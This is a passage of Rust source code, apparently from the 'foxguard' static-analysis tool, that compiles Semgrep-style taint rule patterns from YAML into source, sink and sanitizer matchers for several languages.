"Warning: taint rule `{}` {} entry has {} keys (expected a single `pattern:`, `pattern-either:`, or `patterns:`); skipping entry",
rule_id,
role.label(),
effective_keys.len(),
);
return;
}
let (k, v) = effective_keys[0];
match k.as_str() {
Some("pattern") => {
let Some(pattern) = v.as_str() else {
eprintln!(
"Warning: taint rule `{}` {} `pattern:` value must be a string; skipping entry",
rule_id,
role.label()
);
return;
};
match compile_pattern(pattern, role, lang) {
Some(m) => out.push(m),
None => eprintln!(
"Warning: taint rule `{}` {} unsupported pattern shape `{}`; skipping entry",
rule_id,
role.label(),
pattern
),
}
}
Some("pattern-either") => {
let Some(inner) = v.as_sequence() else {
eprintln!(
"Warning: taint rule `{}` {} `pattern-either:` must be a list; skipping",
rule_id,
role.label()
);
return;
};
if inner.is_empty() {
eprintln!(
"Warning: taint rule `{}` {} `pattern-either:` is empty; producing no matchers",
rule_id,
role.label()
);
return;
}
for nested in inner {
compile_entry(
nested,
role,
rule_id,
lang,
labels_enabled,
out,
negatives,
insides,
);
}
}
Some("patterns") => {
if let MatcherRole::Source = role {
if try_compile_decorated_param_source_block(v, out) {
return;
}
}
if let MatcherRole::Source = role {
if try_compile_param_source_block(v, out) {
return;
}
}
if let MatcherRole::Source = role {
if try_compile_go_bytes_literal_source_block(v, lang, out) {
return;
}
}
if let MatcherRole::Source = role {
if try_compile_string_literal_regex_source_block(v, rule_id, out) {
return;
}
}
if let MatcherRole::Source = role {
if try_compile_focus_call_source_block(v, out) {
return;
}
}
if let MatcherRole::Source = role {
if lang == Language::Java && try_compile_receiver_provenance_source_block(v, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if lang == Language::Java && try_compile_method_arg_sink_block(v, role, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_focus_call_sink_block(v, role, lang, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if lang == Language::Php && try_compile_tainted_callee_sink_block(v, role, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if lang == Language::Php && try_compile_subscript_key_sink_block(v, role, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if lang == Language::Ruby
&& try_compile_ruby_metavar_pattern_enum_call_block(v, role, out)
{
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_regex_constrained_callee_block(v, role, rule_id, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_regex_constrained_receiver_block(v, role, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_focus_regex_either_sink_block(v, role, lang, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_csharp_pattern_regex_either_sink_block(v, role, lang, out) {
return;
}
}
if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
if try_compile_js_member_assign_regex_block(v, role, lang, out) {
return;
}
}
compile_patterns_block(
v,
role,
rule_id,
lang,
labels_enabled,
out,
negatives,
insides,
);
}
Some(other) => {
eprintln!(
"Warning: taint rule `{}` {} uses unsupported key `{}` (only `pattern:`, `pattern-either:`, and `patterns:` are supported); skipping entry",
rule_id,
role.label(),
other
);
}
None => {
eprintln!(
"Warning: taint rule `{}` {} entry has a non-string key; skipping",
rule_id,
role.label()
);
}
}
}
const PATTERNS_CONSTRAINT_KEYS: &[&str] = &[
"pattern-not-inside",
"pattern-not-regex",
"focus-metavariable",
"metavariable-regex",
"metavariable-comparison",
"metavariable-pattern",
"metavariable-analysis",
"metavariable-type",
];
#[allow(clippy::too_many_arguments)]
fn compile_patterns_block(
v: &YamlValue,
role: MatcherRole,
rule_id: &str,
lang: Language,
labels_enabled: bool,
out: &mut Vec<GenericMatcher>,
negatives: &mut Vec<String>,
insides: &mut Vec<String>,
) {
let Some(inner) = v.as_sequence() else {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` value must be a list; skipping entry",
rule_id,
role.label()
);
return;
};
if inner.is_empty() {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block is empty; skipping entry",
rule_id,
role.label()
);
return;
}
let before = out.len();
for sub in inner {
let Some(sub_map) = sub.as_mapping() else {
continue;
};
if sub_map.len() != 1 {
continue;
}
let (sk, sv) = sub_map.iter().next().expect("len == 1");
match sk.as_str() {
Some("pattern") | Some("pattern-either") => {
compile_entry(
sub,
role,
rule_id,
lang,
labels_enabled,
out,
negatives,
insides,
);
}
Some("pattern-inside") => {
match sv.as_str() {
Some(p) if !p.trim().is_empty() => insides.push(p.to_string()),
_ => eprintln!(
"Warning: taint rule `{}` {} `patterns:` block has a \
`pattern-inside:` whose value is not a non-empty string; \
ignoring constraint",
rule_id,
role.label()
),
}
}
Some("pattern-not") => {
match sv.as_str() {
Some(p) if !p.trim().is_empty() => negatives.push(p.to_string()),
_ => eprintln!(
"Warning: taint rule `{}` {} `patterns:` block has a \
`pattern-not:` whose value is not a non-empty string; \
ignoring constraint",
rule_id,
role.label()
),
}
}
Some(constraint_key) if PATTERNS_CONSTRAINT_KEYS.contains(&constraint_key) => {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block contains `{}` \
which foxguard cannot enforce inside a taint source/sink entry; \
dropping constraint (matcher will be broader than the original rule)",
rule_id,
role.label(),
constraint_key
);
let _ = sv; }
Some(other) => {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block contains unknown key `{}`; \
skipping sub-item",
rule_id,
role.label(),
other
);
}
None => {}
}
}
if out.len() == before {
eprintln!(
"Warning: taint rule `{}` {} `patterns:` block produced no expressible matchers; \
skipping entry",
rule_id,
role.label()
);
}
}
fn try_compile_param_source_block(v: &YamlValue, out: &mut Vec<GenericMatcher>) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut signature_texts: Vec<String> = Vec::new();
collect_param_source_parts(items, &mut seeds, &mut signature_texts);
if seeds.is_empty() || signature_texts.is_empty() {
return false;
}
let matched = seeds.iter().any(|seed| {
signature_texts
.iter()
.any(|sig| signature_has_param(sig, seed))
});
if !matched {
return false;
}
out.push(GenericMatcher::ParamName {
names: vec![crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()],
description: "untrusted function parameter".to_string(),
});
true
}
fn try_compile_decorated_param_source_block(v: &YamlValue, out: &mut Vec<GenericMatcher>) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut signature_texts: Vec<String> = Vec::new();
collect_param_source_parts(items, &mut seeds, &mut signature_texts);
if seeds.is_empty() || signature_texts.is_empty() {
return false;
}
for sig in &signature_texts {
let Some(decorator) = decorator_method_from_signature(sig) else {
continue;
};
let has_param = seeds.iter().any(|seed| decorated_def_has_param(sig, seed));
if has_param {
let description = format!("parameter of `@…{decorator}()`-decorated handler");
out.push(GenericMatcher::DecoratedParamSource {
decorator,
description,
});
return true;
}
}
false
}
fn decorator_method_from_signature(sig: &str) -> Option<String> {
let line = sig.lines().map(str::trim).find(|l| l.starts_with('@'))?;
let after_at = line[1..].trim_start();
let callee = after_at.split('(').next()?.trim();
if !after_at.contains('(') {
return None;
}
let name = callee.rsplit('.').next()?.trim();
if name.is_empty() || !name.chars().all(is_ident_char) {
return None;
}
Some(name.to_string())
}
fn decorated_def_has_param(sig: &str, seed: &str) -> bool {
let def_pos = ["def ", "function", "func ", "fun "]
.iter()
.filter_map(|kw| sig.find(kw))
.min();
let scan_from = def_pos.unwrap_or(0);
signature_has_param(&sig[scan_from..], seed)
}
fn try_compile_string_literal_regex_source_block(
v: &YamlValue,
rule_id: &str,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut literal_metavar: Option<String> = None;
let mut constraint: Option<(String, Vec<String>, Vec<String>)> = None;
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("pattern") => {
if let Some(s) = val.as_str() {
if let Some(mv) = quoted_single_metavar(s) {
literal_metavar = Some(mv);
}
}
}
Some("metavariable-pattern") | Some("metavariable-regex") => {
if let Some(m) = val.as_mapping() {
let mv = m
.get(YamlValue::from("metavariable"))
.and_then(YamlValue::as_str);
let mut positives: Vec<String> = Vec::new();
let mut negatives: Vec<String> = Vec::new();
if let Some(re) =
m.get(YamlValue::from("regex")).and_then(YamlValue::as_str)
{
positives.push(re.to_string());
}
collect_regex_constraints(val, &mut positives, &mut negatives);
if let Some(mv) = mv {
if !positives.is_empty() {
constraint = Some((mv.to_string(), positives, negatives));
}
}
}
}
_ => {}
}
}
}
let (Some(lit_mv), Some((c_mv, positives, negatives))) = (literal_metavar, constraint) else {
return false;
};
if lit_mv != c_mv {
return false;
}
let mut combined = String::from("^");
for p in &positives {
combined.push_str(&format!("(?=[\\s\\S]*(?:{p}))"));
}
for n in &negatives {
combined.push_str(&format!("(?![\\s\\S]*(?:{n}))"));
}
if let Err(e) = crate::rules::semgrep_compat::compile_regex(&combined) {
eprintln!(
"Warning: taint rule `{rule_id}` string-literal-regex source did not compile ({e}); skipping entry"
);
return false;
}
out.push(GenericMatcher::LiteralString {
description: "string literal matching regex".to_string(),
regex: Some(combined),
});
true
}
fn quoted_single_metavar(pat: &str) -> Option<String> {
let t = pat.trim();
let bytes = t.as_bytes();
if bytes.len() < 3 {
return None;
}
let quote = bytes[0];
if (quote != b'"' && quote != b'\'') || bytes[bytes.len() - 1] != quote {
return None;
}
let inner = t[1..t.len() - 1].trim();
if is_metavariable(inner) {
Some(inner.to_string())
} else {
None
}
}
fn collect_regex_constraints(
node: &YamlValue,
positives: &mut Vec<String>,
negatives: &mut Vec<String>,
) {
match node {
YamlValue::Mapping(map) => {
for (k, v) in map {
match k.as_str() {
Some("pattern-regex") => {
if let Some(s) = v.as_str() {
positives.push(s.trim().to_string());
}
}
Some("pattern-not-regex") => {
if let Some(s) = v.as_str() {
negatives.push(s.trim().to_string());
}
}
_ => collect_regex_constraints(v, positives, negatives),
}
}
}
YamlValue::Sequence(seq) => {
for item in seq {
collect_regex_constraints(item, positives, negatives);
}
}
_ => {}
}
}
fn collect_param_source_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
signature_texts: &mut Vec<String>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else if is_function_definition_pattern(t) {
signature_texts.push(t.to_string());
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
if is_function_definition_pattern(s) {
signature_texts.push(s.to_string());
}
}
}
Some("pattern-either") => {
if let Some(seq) = val.as_sequence() {
collect_param_source_parts(seq, seeds, signature_texts);
}
}
Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_param_source_parts(seq, seeds, signature_texts);
}
}
_ => {}
}
}
}
}
fn is_function_definition_pattern(pat: &str) -> bool {
let p = pat.trim();
if !(p.contains('(') && p.contains(')')) {
return false;
}
p.contains("function") || p.contains("func ") || p.starts_with("def ")
|| p.contains("\ndef ") || p.contains("fun ") || p.contains("=>") || (p.contains('{') && p.contains('$'))
}
fn signature_has_param(sig: &str, seed: &str) -> bool {
let Some(open) = sig.find('(') else {
return false;
};
let bytes = sig.as_bytes();
let mut depth = 0i32;
let mut close = None;
for (i, &b) in bytes.iter().enumerate().skip(open) {
match b {
b'(' => depth += 1,
b')' => {
depth -= 1;
if depth == 0 {
close = Some(i);
break;
}
}
_ => {}
}
}
let Some(close) = close else {
return false;
};
let params = &sig[open + 1..close];
params
.split(|c: char| !is_ident_char(c) && c != '$')
.any(|tok| tok == seed)
}
fn try_compile_focus_call_sink_block(
v: &YamlValue,
role: MatcherRole,
lang: Language,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut call_texts: Vec<String> = Vec::new();
let mut metavar_regexes: Vec<(String, String)> = Vec::new();
collect_focus_call_sink_parts(items, &mut seeds, &mut call_texts, &mut metavar_regexes);
if seeds.is_empty() || call_texts.is_empty() {
return false;
}
let before = out.len();
for call in &call_texts {
if !seeds.iter().any(|seed| call_has_arg(call, seed)) {
continue;
}
compile_focus_call_callee(call, role, lang, &metavar_regexes, out);
}
out.len() > before
}
fn try_compile_focus_call_source_block(v: &YamlValue, out: &mut Vec<GenericMatcher>) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut call_texts: Vec<String> = Vec::new();
collect_focus_call_source_parts(items, &mut seeds, &mut call_texts);
if seeds.is_empty() || call_texts.is_empty() {
return false;
}
let before = out.len();
for call in &call_texts {
for seed in &seeds {
if let Some((method, arg_index)) = parse_call_arg_source(call, seed) {
let candidate = GenericMatcher::CallArgSource {
method: method.clone(),
arg_index,
description: format!("value filled into `{method}(...)` argument (source)"),
};
let dup = out.iter().any(|m| {
matches!(m, GenericMatcher::CallArgSource { method: mm, arg_index: ai, .. }
if *mm == method && *ai == arg_index)
});
if !dup {
out.push(candidate);
}
}
}
}
out.len() > before
}
fn collect_focus_call_source_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
call_texts: &mut Vec<String>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else {
call_texts.push(t.to_string());
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
call_texts.push(s.trim().to_string());
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_focus_call_source_parts(seq, seeds, call_texts);
}
}
_ => {}
}
}
}
}
fn parse_call_arg_source(call: &str, seed: &str) -> Option<(String, usize)> {
let c = call.trim();
let normalized;
let b = if c.starts_with('(') {
match parse_typed_metavar(c) {
Some((_, metavar, remainder)) if !remainder.trim().is_empty() => {
normalized = format!("{metavar}{remainder}");
normalized.as_str()
}
_ => c,
}
} else {
c
};
let b = b.trim();
let open = b.find('(')?;
let callee = b[..open].trim();
if callee.is_empty() {
return None;
}
let method = callee.rsplit('.').next()?.trim();
if !is_identifier(method) {
return None;
}
if callee.contains('(')
|| callee.contains('=')
|| callee.contains('+')
|| callee.contains('%')
|| callee.contains('[')
{
return None;
}
let bytes = b.as_bytes();
let mut depth = 0i32;
let mut close = None;
for (i, &ch) in bytes.iter().enumerate().skip(open) {
match ch {
b'(' => depth += 1,
b')' => {
depth -= 1;
if depth == 0 {
close = Some(i);
break;
}
}
_ => {}
}
}
let close = close?;
let args = &b[open + 1..close];
for (idx, piece) in split_top_level_commas(args).iter().enumerate() {
if piece.trim() == seed {
return Some((method.to_string(), idx));
}
}
None
}
fn split_top_level_commas(s: &str) -> Vec<&str> {
let mut pieces = Vec::new();
let mut depth = 0i32;
let mut start = 0usize;
for (i, ch) in s.char_indices() {
match ch {
'(' | '[' | '{' => depth += 1,
')' | ']' | '}' => depth -= 1,
',' if depth == 0 => {
pieces.push(&s[start..i]);
start = i + 1;
}
_ => {}
}
}
pieces.push(&s[start..]);
pieces
}
fn try_compile_method_arg_sink_block(
v: &YamlValue,
role: MatcherRole,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut patterns: Vec<String> = Vec::new();
let mut focus: Vec<String> = Vec::new();
let mut pins: Vec<(String, String)> = Vec::new();
collect_method_arg_sink_parts(items, &mut patterns, &mut focus, &mut pins);
if patterns.is_empty() || focus.is_empty() {
return false;
}
let before = out.len();
for pat in &patterns {
let Some((method_seg, args)) = parse_outer_call(pat) else {
continue;
};
if !is_metavariable(&method_seg) {
continue;
}
let Some(methods) = regex_alternatives_for(&method_seg, &pins) else {
continue;
};
if args.len() < 2 {
continue;
}
for f in &focus {
if let Some(idx) = args.iter().position(|a| a.trim() == f.as_str()) {
let desc = format!("tainted argument #{idx} into `{}(...)`", methods.join("|"));
out.push(GenericMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: idx,
description: describe(&desc, role),
});
}
}
}
out.len() > before
}
fn collect_method_arg_sink_parts(
items: &[YamlValue],
patterns: &mut Vec<String>,
focus: &mut Vec<String>,
pins: &mut Vec<(String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
focus.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if !is_metavariable(t) {
patterns.push(t.to_string());
}
}
}
Some("metavariable-regex") => {
if let Some(mm) = val.as_mapping() {
let mv = mm
.get(YamlValue::from("metavariable"))
.and_then(|x| x.as_str());
let re = mm.get(YamlValue::from("regex")).and_then(|x| x.as_str());
if let (Some(mv), Some(re)) = (mv, re) {
pins.push((mv.to_string(), re.to_string()));
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_method_arg_sink_parts(seq, patterns, focus, pins);
}
}
_ => {}
}
}
}
}
fn parse_outer_call(pat: &str) -> Option<(String, Vec<String>)> {
let c = pat.trim().trim_end_matches(';').trim();
if !c.ends_with(')') {
return None;
}
let bytes = c.as_bytes();
let mut depth = 0i32;
let mut open = None;
for i in (0..bytes.len()).rev() {
match bytes[i] {
b')' => depth += 1,
b'(' => {
depth -= 1;
if depth == 0 {
open = Some(i);
break;
}
}
_ => {}
}
}
let open = open?;
let callee = c[..open].trim();
let method = callee.rsplit('.').next()?.trim();
if method.is_empty() {
return None;
}
let args_str = &c[open + 1..c.len() - 1];
let args: Vec<String> = split_top_level_commas(args_str)
.iter()
.map(|s| s.trim().to_string())
.collect();
Some((method.to_string(), args))
}
fn try_compile_receiver_provenance_source_block(
v: &YamlValue,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut insides: Vec<String> = Vec::new();
let mut patterns: Vec<String> = Vec::new();
collect_provenance_parts(items, &mut insides, &mut patterns);
for inside in &insides {
let Some((var, init)) = parse_decl_init(inside) else {
continue;
};
let Some((init_receiver, init_method, init_arg)) = parse_init_call(&init) else {
continue;
};
for pat in &patterns {
let Some((recv_mv, method)) = parse_receiver_method_call(pat) else {
continue;
};
if recv_mv != var {
continue;
}
out.push(GenericMatcher::ReceiverProvenanceCall {
description: format!(
"`.{method}()` on a `{init_receiver}.{init_method}(\"{init_arg}\")` value"
),
init_receiver,
init_method,
init_arg,
method,
});
return true;
}
}
false
}
fn collect_provenance_parts(
items: &[YamlValue],
insides: &mut Vec<String>,
patterns: &mut Vec<String>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
insides.push(s.to_string());
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if !is_metavariable(t) {
patterns.push(t.to_string());
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_provenance_parts(seq, insides, patterns);
}
}
_ => {}
}
}
}
}
fn parse_decl_init(text: &str) -> Option<(String, String)> {
let line = text.lines().map(str::trim).find(|l| !l.is_empty())?;
let bytes = line.as_bytes();
let mut eq = None;
for i in 0..bytes.len() {
if bytes[i] == b'=' {
let prev = if i > 0 { bytes[i - 1] } else { b' ' };
let next = if i + 1 < bytes.len() {
bytes[i + 1]
} else {
b' '
};
if prev != b'=' && prev != b'<' && prev != b'>' && prev != b'!' && next != b'=' {
eq = Some(i);
break;
}
}
}
let eq = eq?;
let lhs = line[..eq].trim();
let rhs = line[eq + 1..].trim().trim_end_matches(';').trim();
let tokens: Vec<&str> = lhs.split_whitespace().collect();
if tokens.len() < 2 {
return None;
}
let var = *tokens.last()?;
if !is_metavariable(var) || rhs.is_empty() {
return None;
}
Some((var.to_string(), rhs.to_string()))
}
fn parse_init_call(init: &str) -> Option<(String, String, String)> {
let c = init.trim();
let open = c.find('(')?;
if !c.ends_with(')') {
return None;
}
let callee = c[..open].trim();
let (recv, method) = callee.rsplit_once('.')?;
let recv_seg = recv.rsplit('.').next()?.trim();
let method = method.trim();
if !is_identifier(recv_seg) || !is_identifier(method) {
return None;
}
let args = &c[open + 1..c.len() - 1];
let first = split_top_level_commas(args).into_iter().next()?;
let first = first.trim();
let inner = first.strip_prefix('"').and_then(|t| t.strip_suffix('"'))?;
if inner.is_empty() {
return None;
}
Some((recv_seg.to_string(), method.to_string(), inner.to_string()))
}
fn parse_receiver_method_call(pat: &str) -> Option<(String, String)> {
let c = pat.trim().trim_end_matches(';').trim();
let open = c.find('(')?;
let callee = c[..open].trim();
let (recv, method) = callee.split_once('.')?;
if is_metavariable(recv) && !method.contains('.') && is_identifier(method) {
Some((recv.to_string(), method.to_string()))
} else {
None
}
}
const PHP_SUPERGLOBALS: &[&str] = &[
"_GET", "_POST", "_REQUEST", "_COOKIE", "_SESSION", "_SERVER", "_ENV", "_FILES", "GLOBALS",
];
fn php_superglobal_name(s: &str) -> Option<&'static str> {
let stripped = s.strip_prefix('$')?;
PHP_SUPERGLOBALS.iter().copied().find(|g| *g == stripped)
}
fn parse_new_metavar_classname(pat: &str) -> Option<String> {
let p = pat.trim().trim_end_matches(';').trim();
let rest = p.strip_prefix("new ")?.trim_start();
let open = rest.find('(')?;
if !rest.ends_with(')') {
return None;
}
let name = rest[..open].trim();
if is_metavariable(name) {
Some(name.to_string())
} else {
None
}
}
fn try_compile_tainted_callee_sink_block(
v: &YamlValue,
role: MatcherRole,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut classname_mvs: Vec<String> = Vec::new();
collect_tainted_callee_parts(items, &mut seeds, &mut classname_mvs);
if !classname_mvs
.iter()
.any(|mv| seeds.iter().any(|seed| seed == mv))
{
return false;
}
out.push(GenericMatcher::TaintedCallee {
description: describe("new $SINK(...)", role),
});
true
}
fn collect_tainted_callee_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
classname_mvs: &mut Vec<String>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else if let Some(mv) = parse_new_metavar_classname(t) {
classname_mvs.push(mv);
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
if let Some(mv) = parse_new_metavar_classname(s.trim()) {
classname_mvs.push(mv);
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_tainted_callee_parts(seq, seeds, classname_mvs);
}
}
_ => {}
}
}
}
}
fn parse_subscript_key_assignment(pat: &str) -> Option<(Option<String>, String, String)> {
let p = pat.trim().trim_end_matches(';').trim();
let bytes = p.as_bytes();
let mut depth = 0i32;
let mut eq_idx = None;
for (i, &b) in bytes.iter().enumerate() {
match b {
b'[' | b'(' => depth += 1,
b']' | b')' => depth -= 1,
b'=' if depth == 0 => {
let next = bytes.get(i + 1).copied();
let prev = i.checked_sub(1).map(|j| bytes[j]);
if next != Some(b'=')
&& next != Some(b'>')
&& !matches!(prev, Some(b'=') | Some(b'!') | Some(b'<') | Some(b'>'))
{
eq_idx = Some(i);
break;
}
}
_ => {}
}
}
let eq = eq_idx?;
let lhs = p[..eq].trim();
let rhs = p[eq + 1..].trim();
if !is_metavariable(rhs) || php_superglobal_name(rhs).is_some() {
return None;
}
if !lhs.ends_with(']') {
return None;
}
let open = lhs.find('[')?;
let base = lhs[..open].trim();
let key = lhs[open + 1..lhs.len() - 1].trim();
if !is_metavariable(key) || php_superglobal_name(key).is_some() {
return None;
}
let base_opt = if let Some(sg) = php_superglobal_name(base) {
Some(sg.to_string())
} else if is_metavariable(base) {
None
} else {
return None;
};
Some((base_opt, key.to_string(), rhs.to_string()))
}
fn try_compile_subscript_key_sink_block(
v: &YamlValue,
role: MatcherRole,
out: &mut Vec<GenericMatcher>,
) -> bool {
let Some(items) = v.as_sequence() else {
return false;
};
let mut seeds: Vec<String> = Vec::new();
let mut targets: Vec<(Option<String>, String, String)> = Vec::new();
collect_subscript_key_parts(items, &mut seeds, &mut targets);
let hit = targets
.iter()
.find(|(_, key, _)| seeds.iter().any(|seed| seed == key));
let Some((base, _, _)) = hit else {
return false;
};
out.push(GenericMatcher::TaintedSubscriptKey {
base: base.clone(),
description: describe("$_SESSION[$KEY] = ...", role),
});
true
}
fn collect_subscript_key_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
targets: &mut Vec<(Option<String>, String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else if let Some(triple) = parse_subscript_key_assignment(t) {
targets.push(triple);
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
if let Some(triple) = parse_subscript_key_assignment(s.trim()) {
targets.push(triple);
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_subscript_key_parts(seq, seeds, targets);
}
}
_ => {}
}
}
}
}
fn strip_typed_receiver(call: &str) -> String {
let c = call.trim();
if c.starts_with('(') {
if let Some((_, metavar, remainder)) = parse_typed_metavar(c) {
let remainder = remainder.trim();
if !remainder.is_empty() {
let normalized = format!("{metavar}{remainder}");
if is_single_trailing_call(&normalized) {
return normalized;
}
}
}
}
c.to_string()
}
fn is_single_trailing_call(pat: &str) -> bool {
let p = pat.trim().trim_end_matches(';').trim();
let Some(open) = p.find('(') else {
return false;
};
let bytes = p.as_bytes();
let mut depth = 0i32;
for (i, &b) in bytes.iter().enumerate().skip(open) {
match b {
b'(' => depth += 1,
b')' => {
depth -= 1;
if depth == 0 {
return i == p.len() - 1;
}
}
_ => {}
}
}
false
}
fn collect_focus_call_sink_parts(
items: &[YamlValue],
seeds: &mut Vec<String>,
call_texts: &mut Vec<String>,
metavar_regexes: &mut Vec<(String, String)>,
) {
for item in items {
let Some(map) = item.as_mapping() else {
continue;
};
for (k, val) in map {
match k.as_str() {
Some("focus-metavariable") => {
if let Some(s) = val.as_str() {
let mv = s.trim();
if is_metavariable(mv) {
seeds.push(mv.to_string());
}
}
}
Some("pattern") => {
if let Some(s) = val.as_str() {
let t = s.trim();
if is_metavariable(t) {
seeds.push(t.to_string());
} else {
let norm = strip_typed_receiver(t);
if is_call_context_pattern(&norm) {
call_texts.push(norm);
}
}
}
}
Some("pattern-inside") => {
if let Some(s) = val.as_str() {
let norm = strip_typed_receiver(s.trim());
if is_call_context_pattern(&norm) {
call_texts.push(norm);
}
}
}
Some("metavariable-regex") => {
if let Some(m) = val.as_mapping() {
let mv = m
.get(YamlValue::from("metavariable"))
.and_then(YamlValue::as_str);
let re = m.get(YamlValue::from("regex")).and_then(YamlValue::as_str);
if let (Some(mv), Some(re)) = (mv, re) {
metavar_regexes.push((mv.to_string(), re.to_string()));
}
}
}
Some("pattern-either") | Some("patterns") => {
if let Some(seq) = val.as_sequence() {
collect_focus_call_sink_parts(seq, seeds, call_texts, metavar_regexes);
}
}
_ => {}
}
}
}
}
fn is_call_context_pattern(pat: &str) -> bool {
let p = pat.trim().trim_end_matches(';').trim();
if p.contains('\n') || p.contains('{') {
return false;
}
let Some(open) = p.find('(') else {
return false;
};
if !p.ends_with(')') {
return false;
}
let callee = p[..open].trim();
if callee.is_empty() {
return false;
}
!callee.contains('(')
&& !callee.contains('=')
&& !callee.contains('+')
&& !callee.contains('%')
&& !callee.contains('[')
}
fn call_has_arg(call: &str, seed: &str) -> bool {
let c = call.trim().trim_end_matches(';').trim();
let Some(open) = c.find('(') else {
return false;
};
let bytes = c.as_bytes();
let mut depth = 0i32;
let mut close = None;
for (i, &b) in bytes.iter().enumerate().skip(open) {
match b {
b'(' => depth += 1,
b')' => {
depth -= 1;
if depth == 0 {
close = Some(i);
break;
}
}
_ => {}
}
}
let Some(close) = close else {
return false;
};
let args = c[open + 1..close].trim();
let literal = args
.split(|ch: char| !is_ident_char(ch) && ch != '$')
.any(|tok| tok == seed);
if literal {
return true;
}
args == "..." || args.is_empty() || is_metavariable(args)
}
fn compile_focus_call_callee(
call: &str,
role: MatcherRole,
lang: Language,
metavar_regexes: &[(String, String)],
out: &mut Vec<GenericMatcher>,
) {
let c = call.trim().trim_end_matches(';').trim();
let Some(open) = c.find('(') else {
return;
};
let callee = c[..open].trim();
if let Some(dot) = callee.find('.') {
let recv = &callee[..dot];
let meth = &callee[dot + 1..];
if is_metavariable(recv) && is_metavariable(meth) && !meth.contains('.') {
if let Some(names) = regex_alternatives_for(meth, metavar_regexes) {
for name in names {
out.push(GenericMatcher::MethodName {
method: name.clone(),
description: describe(&name, role),
});
}
}
return;
}
if is_metavariable(recv) && is_identifier(meth) {
